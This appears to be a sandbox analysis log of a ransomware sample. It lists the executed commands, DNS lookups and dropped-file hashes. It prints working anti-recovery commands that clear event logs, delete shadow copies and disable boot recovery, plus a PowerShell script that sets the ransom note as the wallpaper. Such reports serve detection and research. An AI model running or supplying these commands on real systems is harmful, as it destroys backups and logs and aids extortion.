cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"

C:\Windows\System32\Wbem\WMIC.exe

wmic shadowcopy delete /nointeractive

C:\Windows\system32\bcdedit.exe

bcdedit /set {default} recoveryenabled No

C:\Windows\system32\vssadmin.exe

vssadmin.exe Delete Shadows /All /Quiet

C:\Windows\system32\bcdedit.exe

bcdedit /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "$a = [System.IO.File]::ReadAllText(\"Z:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"

C:\Windows\system32\reg.exe

"C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\341933339.png /f

C:\Windows\system32\rundll32.exe

"C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False

Network

Country Destination Domain Proto
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 71.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 udp

Files

memory/2116-4-0x00007FF79FB60000-0x00007FF79FC7E000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr

MD5 e27b5291c8fb2dfdeb7f16bb6851df5e
SHA1 40207f83b601cd60905c1f807ac0889c80dfe33f
SHA256 ffd933ad53f22a0f10cceb4986087258f72dffdd36999b7014c6b37c157ee45f
SHA512 2ddbc50cd780ffbf73c354b9b437322eb49cb05bb6f287d54e7dcafb61dc4c4549e37ae2f972f3d240bfa7d2ca485b7583137f1bf038bc901f378cea0c305c6a

F:\GET_YOUR_FILES_BACK.txt

MD5 c92c2b70fb37f84aab38412ad9226aa8
SHA1 14f2e9a83285612d0a7b2c83b8f89bccfde6c154
SHA256 d64639e873c0873b469cd856d1ef4bce7dc14a80fac6fe2bed9d629f05acc77f
SHA512 04f9dcb3cd49909712535255b6eadd7fafcb2902bf1abd5a25e9bb5f5c4dc032611aec0a5b0ec89cd7dbc65276b935c54b906b391507d2e3e3aa65466b15f848

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qyet2orx.dtt.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3628-15703-0x00000185DDD50000-0x00000185DDD72000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 d8b9a260789a22d72263ef3bb119108c
SHA1 376a9bd48726f422679f2cd65003442c0b6f6dd5
SHA256 d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc
SHA512 550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00